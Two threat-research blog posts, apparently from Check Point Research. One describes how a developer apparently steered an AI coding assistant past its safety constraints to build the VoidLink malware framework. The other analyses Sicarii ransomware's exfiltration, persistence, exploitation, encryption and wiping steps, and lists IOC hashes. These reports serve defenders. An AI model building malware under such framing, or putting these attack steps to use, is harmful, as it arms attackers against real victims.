As this narrative comes into focus, it turns long-discussed concerns about AI-enabled malware from theory into practice. VoidLink, implemented to a notably high engineering standard, demonstrates how rapidly sophisticated offensive capability can be produced, and how dangerous AI becomes when placed in the wrong hands.

AI-Crafted Malware: Creation and Methodology

The general approach to developing VoidLink can be described as Spec Driven Development (SDD). In this workflow, a developer begins by specifying what they’re building, then creates a plan, breaks that plan into tasks, and only then allows an agent to implement it.

High-level overview of the VoidLink Project

Artifacts from VoidLink’s development environment suggest that the developer followed a similar pattern: first defining the project based on general guidelines and an existing codebase, then having the AI translate those guidelines into an architecture and build a plan across three separate teams, paired with strict coding guidelines and constraints, and only afterward running the agent to execute the implementation.

Project Initialization

VoidLink’s development likely began in late November 2025, when its developer turned to TRAE SOLO, an AI assistant embedded in TRAE, an AI-centric IDE. While we do not have access to the full conversation history, TRAE automatically produces helper files that preserve key portions of the original guidance provided to the model. Those TRAE-generated files appear to have been copied alongside the source code to the threat actor’s server, and later surfaced due to an exposed open directory. This leakage gave us unusually direct visibility into the project’s earliest directives.

In this case, TRAE generated a Chinese-language instruction document. These directives offer a rare window into VoidLink’s early-stage planning and the baseline requirements that set the project in motion. The document is structured as a series of key points:

ChineseEnglishDescription
目标ObjectiveExplicitly instructs the model not to implement code or provide technical details related to adversarial techniques, likely an attempt to navigate or bypass initial model safety constraints (”jailbreak”).
资料获取Material acquisitionDirects the model to reference an existing file named c2架构.txt (C2 Architecture), which likely contained the seed architecture and design concepts for the C2 platform.
架构梳理Architecture breakdownTakes the initial input and decomposes it into discrete components required to build a functional and robust framework.
风险与合规评估Risk and complianceFrames the work in terms of legal boundaries and compliance, likely used as a credibility layer and/or an additional attempt to steer the model toward permissive responses.
代码仓库映射Code repository mappingSuggests VoidLink was bootstrapped from an existing minimal codebase provided to the model as a starting point, but subsequently rewritten end-to-end.
交付输出DeliverablesRequests a consolidated output package: an architecture summary, a risk/compliance overview, and a technical roadmap to convert the concept into an operational framework.
下一步Next StepsA confirmation from the agent that, once the TXT file is provided, it will proceed to extract it and deliver the relevant information.

This summary of the developer’s initial exchange with the agent suggests the opening directive was not to build VoidLink directly, but to design it around a thin skeleton and produce a concrete execution plan to turn it into a working platform. It remains unclear whether this approach was purely pragmatic, intended to make the process more efficient, or a deliberate “jailbreak” strategy to navigate guardrails early and enable full end-to-end malware development later.

Project Specifications

Beyond the TRAE-generated prompt document, we also uncovered an unusually extensive body of internal planning material: a comprehensive work plan spanning three development teams. Written in Chinese and saved as Markdown (MD) files, the documentation bears all the hallmarks of a Large Language Model (LLM): highly structured, consistently formatted, and exceptionally detailed. Some appear to have been generated as a direct output of the planning request described above.

These documents are laid out in various folders and include sprint schedules, feature breakdowns, coding guidelines, and others, with clear ownership by teams:

Chinese NameEnglish TranslationPurpose
开发计划/Development PlansSprint schedules, task lists, progress tracking
设计文档/Design DocumentsArchitecture, module design, protocol specs
规范文档/Standards/SpecsCoding standards, interface specs, best practices
技术方案/Technical SolutionsImplementation approaches, technical deep-dives
技术研究/Technical ResearcheBPF research, network analysis, experimental designs
分析报告/Analysis ReportsArchitecture assessment, functionality comparison
进度报告/Progress ReportsWeekly/milestone status updates
部署指南/Deployment GuidesQuick-start, production deployment instructions
问题分析/Problem AnalysisBug reports, issue tracking, fix summaries
测试报告/Test ReportsTest results, validation reports
协议/ProtocolsOpCode registry, message formats

The earliest of these documents, timestamped to November 27th, 2025, describes a 20-week sprint plan across three teams: a Core Team (Zig), an Arsenal Team (C), and a Backend Team (Go). The plan is strikingly specific, referencing additional companion files intended to document each sprint in depth. Notably, the initial roadmap also includes a dedicated set of standardization files, prescribing explicit coding conventions and implementation guidelines, effectively a rulebook for how the codebase should be written and maintained.

Translated development plan for three teams: Core, Arsenal and Backend.

A review of the code standardization instructions against the recovered VoidLink source code shows a striking level of alignment. Conventions, structure, and implementation patterns match so closely that it leaves little room for doubt: the codebase was written to those exact instructions.

Code headers as described in the specifications (Left) compared to actual source code (Right)

The source itself, apparently developed according to the documented sprints and coding guidelines, was presented as a 30-week engineering effort, yet appears to have been executed in a dramatically shorter timeframe. One recovered test artifact, timestamped to December 4, a mere week after the project began, indicates that by that date, VoidLink was already functional and had grown to more than 88,000 lines of code. At this point in time, a compiled version of it was already submitted to VirusTotal, marking the beginning of our research.

VoidLink report showing lines of code (Added translations in parentheses)

Generating VoidLink from Scratch

With access to the documentation and specifications of VoidLink and its various sprints, we replicated the workflow using the same TRAE IDE that the developer used (although any frontend for agentic models would work). While TRAE SOLO is only available as a paid product, the regular IDE is sufficient here, as the documentation and design are already available, and the design step can be skipped.

When given the task of implementing the framework described according to the specification in the markdown documentation files sprint by sprint, the model slowly began to generate code that resembled the actual source code of VoidLink in structure and content.

Source tree after the second sprint

By implementing each sprint according to the specified code guidelines, feature lists, and acceptance criteria, and writing tests to validate those, the model quickly implemented the requested code. While the chosen model still influences code quality and overall coding style, the detailed and precise documentation ensures a comparatively high level of reproducibility, as the model has less room for interpretation and strict testing criteria to validate each feature.

Implementing sprint 1 according to the documentation and requirements

The usage of sprints is a helpful pattern for AI code engineering because at the end of each sprint, the developer has a point where code is working and can be committed to a version control repository, which can then act as the restore point if the AI messes up in a later sprint. The developer can then do additional manual testing, refine the specs and documentation, and plan the next sprint. This emulates a lightning-fast SCRUM software engineering team, where the developer acts as the product owner.

Sprint completion log

While testing, integration, and specification refinements are left to the developer, this workflow can offload almost all coding tasks to the model. This results in the rapid development we observed, resembling the efforts of multiple teams of professionals in the pre-agentic-AI era.

Conclusion

Within the rapid advancement of AI technologies, the security community has long anticipated that AI would be a force multiplier for malicious actors. Until now, however, the clearest evidence of AI-driven activity has largely surfaced in lower-sophistication operations, often tied to less experienced threat actors, and has not meaningfully raised the risk beyond regular attacks. VoidLink shifts that baseline: its level of sophistication shows that when AI is in the hands of capable developers, it can materially amplify both the speed and the scale at which serious offensive capability can be produced.

While not a fully AI-orchestrated attack, VoidLink demonstrates that the long-awaited era of sophisticated AI-generated malware has likely begun. In the hands of individual experienced threat actors or malware developers, AI can build sophisticated, stealthy, and stable malware frameworks that resemble those created by sophisticated and experienced threat groups.

Our investigation into VoidLink leaves many open questions, one of them deeply unsettling. We only uncovered its true development story because we had a rare glimpse into the developer’s environment, a visibility we almost never get. Which begs the question: how many other sophisticated malware frameworks out there were built using AI, but left no artifacts to tell?

Additional Credit

We want to acknowledge @huairenWRLD for collaboration, who, following our initial blog post, also investigated VoidLink.

The post VoidLink: Evidence That the Era of Advanced AI-Generated Malware Has Begun appeared first on Check Point Research.

Sicarii Ransomware: Truth vs Myth

14 January 2026 at 15:24

Key findings

  • Sicarii is a newly observed RaaS operation that surfaced in late 2025 and has only published 1 claimed victim.
  • The group explicitly brands itself as Israeli/Jewish, using Hebrew language, historical symbols, and extremist right-wing ideological references not usually seen in financially-motivated ransomware operations.
  • Underground online activity associated with Sicarii is primarily conducted in Russian, including RaaS recruitment posts and forum engagement.
  • Hebrew content used by the group appears to be machine-translated or non-native and contains grammatical and semantic errors.
  • The group’s behavior and messaging diverge from established ransomware practices and raise the possibility of identity manipulation or influence-oriented signaling, rather than a real and mature criminal operation.
  • The ransomware performs an active geo-fencing check to prevent execution on Israeli systems, an unusual design choice that weakens plausible deniability.
  • The ransomware’s technical capabilities include data exfiltration, collecting system credentials and network information, check exploitation for Fortinet devices, and encrypt files using AES-GCM and the .sicarii extension.

Introduction

In December 2025, a previously unknown Ransomware-as-a-Service (RaaS) operation calling itself Sicarii began advertising its services across multiple underground platforms. The group’s name references the Sicarii, a 1st-century Jewish assassins group that opposed Roman rule in Judea. From its initial appearance, the Sicarii ransomware group distinguished itself through unusually explicit and persistent use of Israeli and Jewish symbolism in its branding, communications, and malware logic.

Figure 1 – Sicarii Ransomware logo featuring the phrase “The Sicarii Knife” in Hebrew text with the symbol of the Haganah (predecessor to the Israel Defense Forces).

Unlike most financially-motivated ransomware groups, Sicarii overtly claims Israeli or Jewish affiliation. Its visual branding incorporates Hebrew text and the emblem of the historical Jewish paramilitary organization Haganah, while its ransomware selectively avoids executing on systems identified as Israeli. The group further claims ideological motivation rooted in extremist Jewish groups, while simultaneously marketing the operation as profit-driven and offering financial incentives for attacks against Arab or Muslim states.

In this report, Check Point Research (CPR) examines Sicarii’s background and capabilities, outlines its technical characteristics, and highlights a series of anomalies and inconsistencies that complicate attribution and clear understanding who is behind this group. These indicators raise questions regarding the authenticity of the group’s claimed identity and suggest the possibility of performative or false-flag behavior rather than genuine national or ideological alignment.

Technical analysis

While the exact initial access path is still unclear, communications with the group suggest the operator is likely purchasing access to the targeted organizations and not necessarily exploiting them directly.

The ransomware execution begins with an Anti-VM phase that tries to determine whether the malware is running in a real victim environment or inside a sandbox. It performs several environment checks, including virtualization detection. If it concludes it is executing inside a VM, it stops early and displays a decoy MessageBox error: "DirectX failed to initialize memory during runtime, exiting". Next, it enforces single-instance execution by creating a mutex and exiting if the mutex already exists. The ransomware then copies itself to the Temp directory with a random name in the format svchost_{random}.exe

The ransomware tests for Internet connection by attempting to contact the following url 120 times: google.com/generate_204

Figure 2 - Check for internet connection.
Figure 2 – Check for internet connection.

After checking connectivity, the ransomware determines if the victim is Israeli by checking:

  • Is the time zone set to Israel
  • Does the keyboard layout include Hebrew
  • Do any adapter IPs belongs to Israeli subnets

After establishing its execution context, the ransomware disables SafeBoot options and initiates broad collection of high-value data and files with predefined extensions list from Documents\Downloads\Desktop\VIdeos\Pictures\Music. While this activity supports double extortion, the harvested information may also be leveraged for lateral movement or follow-up attacks. The malware collects registry hives, system credentials, browser data, and some application data from platforms including Discord, Slack, Roblox, Telegram, Office, WhatsApp, Atomic Wallet and more. In addition, it attempts to dump LSASS to obtain further credentials. All collected data is packaged into a ZIP archive named collected_data.zip and exfiltrated to an external service via file.io.

Figure 3 - Staging the collected data in a ZIP archive.
Figure 3 – Staging the collected data in a ZIP archive.

Next, the malware performs network reconnaissance to better understand the victim’s environment. The malware enumerates the local network configuration, maps nearby hosts via ARP requests, and actively probes discovered systems. As part of this process, it scans for exposed RDP services and attempts to exploit Fortinet devices using CVE-2025-64446.

Figure 4 - CVE-2025-64446 exploitation code.
Figure 4 – CVE-2025-64446 exploitation code.

To maintain persistence, the malware uses several different mechanisms, favoring redundancy:

  • Registry Run key
  • Creating a service named WinDefender
  • Creating a new user SysAdmin with password Password123!
  • Creating a new AWS user, without any check if AWS is installed:
Figure 5 - Persistence via AWS.
Figure 5 – Persistence via AWS.

Next, the malware checks if AV and VPN products are running. If so, it terminates their processes and sends to the C2 server the link to file.io which contains exfiltrated data file and victim information:

Figure 6 - Sending victim data to the attackers’ server.
Figure 6 – Sending victim data to the attackers’ server.

Finally, after finishing reconnaissance, privilege handling, and data collection stages, the ransomware moves into the main impact phase: encryption. It iterates through common user directories such as DocumentsDesktopMusicDownloadsPictures and Videos, and encrypts files in place using the BCryptEncrypt API. The .sicarii extension is appended to each encrypted file name:

  • The algorithm used is AES-GCM (256-bit key) via BCryptOpenAlgorithmProvider("AES", ..., "ChainingModeGCM").
  • A unique random AES key is used for each file and the encryption parameters (nonce and tag) are stored in an XOR-0xAA-encoded header.
  • The encrypted file is named <original_name>.sicarii and contains only a custom header plus ciphertext.
  • The original unencrypted file is deleted.

The ransomware drops its ransom note:

Figure 7 - Ransom Note.
Figure 7 – Ransom Note.

As a final pressure mechanism, the malware deploys a destructive component intended to hinder system recovery and prolong operational downtime. The ransomware drops a destruct.bat script and registers it to execute at system startup. When triggered, the script corrupts critical bootloader files, leverages built-in Windows utilities such as cipher and diskpart to perform disk-wiping operations, and ultimately forces an immediate system shutdown.

Figure 8 - Destructive phase.
Figure 8 – Destructive phase.

Intelligence Findings & Anomalies

Telegram Presence

The primary Sicarii operator uses the Telegram account @Skibcum, operating under the display name “Threat.” According to our analysis, the account was registered in November 2025, shortly before Sicarii’s initial appearance in underground forums and RaaS advertisements. This timing aligns closely with the group’s emergence and suggests the account was created specifically for this operation rather than part of a long-standing criminal persona.

The account’s profile image features a repurposed internet meme containing the phrase “Smile is a mitzvah” (the word “mitzvah” in Hebrew means “good deed”) alongside iconography associated with the banned Israeli extremist Kach organization.

Figure 9 - Threat’s Profile picture.
Figure 9 – Threat’s Profile picture.

The account is active in several Telegram group chats associated with underground communities. These include Russian-language informal hacker and meme-oriented channels where the operator participates in casual conversation, exchanges stickers and GIFs, as well as chats unrelated to operational activity. The tone in public group chats is informal and at times impulsive, standing in contrast to the more deliberate and controlled tone adopted in private communications.

In all these communications, the operator demonstrates comfortable fluency in English and Russian, using colloquial phrasing, slang, and emotionally expressive language consistent with native or near-native proficiency. No comparable fluency is observed in the Hebrew language in any setting.

Direct Messaging and Signaling Behavior

In private communications, the operator posed as Sicarii’s communications lead and made several self-reported operational claims:

  • Victim Activity: Claimed that Sicarii compromised 3–6 victims within approximately one month, all of whom paid the ransom.
  • Targeting Strategy: Stated that the group focuses on small businesses, intentionally avoiding large enterprises and government entities to reduce scrutiny and pressure.
  • Negotiation Practices: Acknowledged routine negotiation and cited a single case in which a ransom demand was reduced to approximately USD 10,000 for an incident involving around five endpoints.
  • Comparative Positioning: Repeatedly compared Sicarii to established Russian ransomware groups such as LockBit and Qilin, while emphasizing that Sicarii is intentionally maintaining a lower profile “for now.”

On January 5, 2026, Sicarii published its first publicly listed victim, a Greece-based manufacturer. Shortly thereafter, Sicarii advertised downloadable exfiltrated data hosted on a public file-sharing service, but the file download links quickly expired. The operator described this victim as “just a test,” despite earlier assertions that multiple successful extortion cases had already occurred. This reframing introduces an internal inconsistency between prior claims of operational success and the treatment of the first disclosed victim.

Ideological Claims vs. Financial Motivation

Sicarii simultaneously frames itself as a profit-driven RaaS platform and an ideologically motivated actor inspired by extremist Jewish figures. Multiple conversations and advertisements emphasize that Sicarii prioritizes attacks against Arab or Muslim targets and explicitly volunteer “insider information” about their intention to next target a Saudi Arabian entity.

Figure 10 – Insider information offer.
Figure 10 – Insider information offer.

This duality is inconsistent with observed ransomware ecosystems, where ideological messaging is typically minimized to avoid limiting affiliate recruitment and operational reach. The selective invocation of ideology, particularly when paired with commercial incentives, appears performative rather than doctrinal.

Figure 11 – Performative claim or ideological statement?
Figure 11 – Performative claim or ideological statement?

Performative Israeli Identity and Linguistic Inconsistencies

Although Sicarii group members present themselves as Israeli or Jewish, their use of Hebrew strongly suggests non-native language skills. Hebrew content on the group’s shame site contains misspellings, awkward phrasing, and literal translations of English idioms that do not exist in Hebrew. In private communications, the Telegram user claimed to personally handle only “frontend and communications,” while asserting other operators are Israeli and responsible for ransomware development and initial access operations. Using the same Telegram profile, the actor quickly reemerged as “Isaac” while producing Hebrew that appears to be machine-translated English and insisting they are Hebrew speakers even when challenged.

Figure 12 – An excerpt from the chat with the Sicarii operator, allegedly handing over their account to another operator, “Isaac”, who is Israeli.

In contrast, Sicarii’s activity on underground forums and Telegram channels is conducted fluently in Russian and English, including structured RaaS advertisements and informal interactions. This linguistic asymmetry indicates that English or Russian is actually the operator’s primary language.

Behavioral Indicators and OpSec Observations

The operator’s Telegram behavior displays several notable characteristics:

  • Low operational discipline, such as openly requesting “ransomware APKs” in public group chats rather than sourcing such information privately.
  • Identity play and inconsistency, including shifting self-descriptions and performative signaling toward ideological alignment without a clear strategic purpose.

This reinforces the impression of a relatively inexperienced actor navigating established underground ecosystems rather than a seasoned participant.

Visual Branding and Subcultural Overlap Image

The Telegram operator’s profile image and shared graphics reuse a modified internet meme featuring the phrase “Smile is a mitzvah” alongside symbols associated with the banned Israeli extremist organization Kach. The only variant of this image was identified within a looksmax forum, an online male-dominated subculture often characterized by extreme racism, misogyny, and anti-Semitic discourse.

The limited circulation of this image suggests it’s not a mainstream ideological representation. The forum user who shared this picture said he was a 15-year-old boy and participated in anti-Semitic forum threads.

VirusTotal Activity – Uploading Your Own Source Code & Terrorist Images

The majority of Sicarii-associated samples were submitted to VirusTotal by a single community account which uploaded approximately 250 files over the past several months. Most submissions correspond to apparent variants or loaders associated with the Sicarii ransomware.

Notably, the ransomware binaries were frequently uploaded under the generic filename Project3.exe, a naming convention consistent with testing, staging, or iterative development rather than finalized deployment artifacts.

In addition to compiled ransomware samples, the same VirusTotal account uploaded a source code file titled ransomawre.cs on October 25, 2025, predating Sicarii’s public emergence. This source code referenced the same Tor infrastructure later used by the Sicarii ransomware, suggesting early development or experimentation prior to operational deployment.

In addition to malware-related submissions, the same account also uploaded:

  • Unrelated suspicious files
  • Malware report-style documents
  • An image of Meir Kahane, founder of the extremist Kach organization

The convergence of ransomware testing artifacts, early-stage source code, and extremist ideological imagery within a single VirusTotal account is atypical for mature ransomware operations. Instead of reflecting a compartmentalized development pipeline or affiliate-driven ecosystem, this activity suggests personal experimentation or centralized control, reinforcing the impression of limited operational experience and informal tradecraft.

Explicit National Signaling and Deviation from Ransomware Norms

Established ransomware groups, particularly those operating from Russia or Eastern Europe, typically avoid overt national or ideological signaling to preserve plausible deniability and reduce geopolitical risk. Even well-documented Russian-linked groups such as Qilin or Cl0p refrain from explicit self-identification, despite consistently avoiding domestic targets.

Notably, Sicarii’s operators referenced Qilin and Cl0p in private communications, explicitly describing them as Russian groups that do not attack within Russia and stating that Sicarii follows the “same logic.” This comparison was used by the operator to justify both excluding Israeli victims and the group’s broader targeting posture.

Despite invoking this model, Sicarii diverges sharply from established ransomware norms by:

  • Advertising preferential rates for attacks against Arab or Muslim states.
  • Embedding Israeli geo-exclusion logic directly into its ransomware.
  • Publicly associating itself with extremist Jewish figures and symbols.

Whereas Eastern European ransomware groups rely on implicit understandings and silent geographic avoidance, Sicarii’s approach is unusually explicit and performative. Such behavior is not only unnecessary for a financially motivated RaaS but also invites avoidable exposure. All of this suggests either limited operational maturity or deliberate signaling beyond purely criminal objectives.

Historical Precedent for False-Flag Use of Jewish Identity

Previous campaigns attributed to Iranian-aligned or anti-Israeli actors, including Moses Staff and Abraham’s Ax, leveraged Jewish historical references and fabricated Israeli insider personas to conduct false-flag operations or influence campaigns.

While no direct technical linkage exists between Sicarii and these actors, the use of Jewish extremist symbolism, overt Israeli identity claims, and ideologically charged rhetoric mirrors known deception techniques employed in prior operations by anti-Israeli Middle Eastern actors.

Leak site

The Sicarii leak site is notably rudimentary, offering display options in both Hebrew and English. The Hebrew version is characterized by awkward phrasing and frequent misspellings, further indicating non-native authorship. In private communications, the operator stated that AI tools were used in the site’s development. Notably, the leak site was active for approximately one month before the first victim was published, a delay that is atypical for RaaS operations seeking rapid visibility and credibility.

Figure 13 -Sicarii onion website.
Figure 13 -Sicarii onion website.

Conclusion & Assessment

Sicarii is a newly observed ransomware operation that combines a functional extortion capability with unusually explicit Israeli and Jewish branding. While the malware itself demonstrates credible ransomware functionality, the group’s behavior and presentation deviate from established ransomware norms.

On Telegram communications, underground forum activity, and public-facing infrastructure, Sicarii repeatedly asserts national and ideological identity in ways that provide no clear operational benefit. Although the operators compare themselves to Russian ransomware groups such as Qilin and Cl0p (arguing that those groups also avoid domestic targets), Sicarii departs from this model by making its alignment explicit and performative, weakening plausible deniability.

Linguistic analysis further undermines the group’s claims. Hebrew usage across the leak site and private communications is inconsistent and indicative of non-native authorship, while English and Russian are used fluently. Operationally, the group appears centralized and informal, with early-stage tooling, inconsistent victim narratives, and limited compartmentalization, suggesting experimentation rather than a mature RaaS ecosystem.

Taken together, these indicators suggest that Sicarii’s claimed Israeli or Jewish identity doesn’t necessarily reflect genuine ideological motives. Instead, the operation appears to leverage performative identity signaling layered onto an immature ransomware capability. Attribution remains inconclusive, but Sicarii’s self-description should not necessarily be taken at face value.

IOCs:

4104542714022cb6ef34e9ee5affca07b9a38dbee49748f8630c5f50a26db8b2
cce3821939b7cb77b9da3d59bbcb5978818d4937dd330d820102b012ffcebe4d
a9cadb2c85a4d951f1c41d3dba6be6af876d364c5bba267a42f7839f40b45c0a
b9691587dff4b09987354d50c5d7f9f99f57183bdb6115d1ed410ea0a2e86973
0f0509d1751185fc3d0fce5a578d29aa9d1fe219f29dacef2cf4200851ed541c
59bb8cbd471bd6598c8bf830fa9f90574e8b1bae59d90d379dfd91b1390f7a33
203fd36eed61f7c0f9225cf5a824d39a3a891f63c908586801e350f785f0ddca
6d4cecda3cd5e031d2d23991fe4040568a221ee6ee7e99aaecda52431e67e18d
fbf4ba84c6bb558d6663e34ce7fb459c2cb4e7577241116abaa09ff1eb0d2108
8a4f1e01c78dbeb5258ef97420a948cc530ff3c4d6fa5153b5da5872c728bfe3
bacc9fe505d243ad5192bad081f2fb7cb5bf0d4d26b0b0e51f5a74f64a2db2a5
70ac2b0f9b40eb8682db4452bbda70363b3680eef8ee30cd311e0d2e4c125bcb
a7ec88cc08ffa80915f32ac7274218ded88e61c6cda95bedbb8fe9d729ba7495
debbc85b17c753c3428588cd865b9bcc4b60c18566724d6fc841133ddb3ba5d3
97c2cda26d8e53eb74489a066834e7afae1a89a71f57b91e64384f88358d0c4e
07ef103cbe476dbaee5fb3a8068a9246c0a18f7b89846ba11e90b3622fdfef91
b23176a06dc2e32978a13853ce7730007242a2f9d1e1d33e9601de6b4eaadc3e
5a2f8aea67e3f89029383b46dfe2f5671902d0b2815b9cf5ab6e74fe6d406fb0
befb0f49fc3bfad9166300600be6da73efb6c9b19e09f9515bce9d60cc9a0455
feda2efbc44d4ef1694d3d2a4c2794013d8a071194adf3c14e5376e1a369ee61
942b5945a927ad2c78c1ce1afc9e86b2f6f4134c6fb36ca1fafef5b21ba1d8a2
b0718c24b687e781f1a55d2e302baeb31bfd649308a8eb9f1361569c9af260d1
7a782c7fcfc2ef8231694216f998ba3078ce00bb06d2d27c734c6e65d9df9d86
eff3bd2522a8e6725cb58d45076a3fe705a206e5cd7fe7ec70b7726ad4a53286
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12a6dcefe12e8245bf4a6c9fc894ca431a02720f653841b5ccf6174a226c6a29
350ba9075a0011a100e11594e7d64461c1d5024c6f46b6a4d6398dc8bf8495b0
4b8eca4bf33e13a680ef30b9295cce5a7f5de3b7f5f8771ab206572488d3d9f4
d99ded48868d2961dcae6b4c63d1b74395aeb440232cf44828e3e2bf31c06418
362fe4f7ada71ee779b3bf2fa32c7f42704d051920166b26a68599c470dc5de1
20114fc02aa0296919f8072ee59195bed83cf79ec0f5c1f37e4fa7939710aa49
7388b87febbe9aa6633c0c1363b1feb9e82de84c83f1696649edeaeeaf3e21bd
c8ac7f6fb9a3435108019477e3a2b7fcd322a92d93015e19c7930673685c0e17
07448b617834e3f40137773ef3432b12efe72cd373217802e0266663a3253095
9a0f9efacfdd73037b8f4a656beef3382d7996fcc4331c896b9163c296ae1218
906c1fa52aa00001ce568ca5fcb673dbea4bee3772f1ba9435ee87e2c9216dc4
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7028436ae16f813b278f82b0b02d22fb0338a0becc1cdcd4b2f4c9de8bb23408

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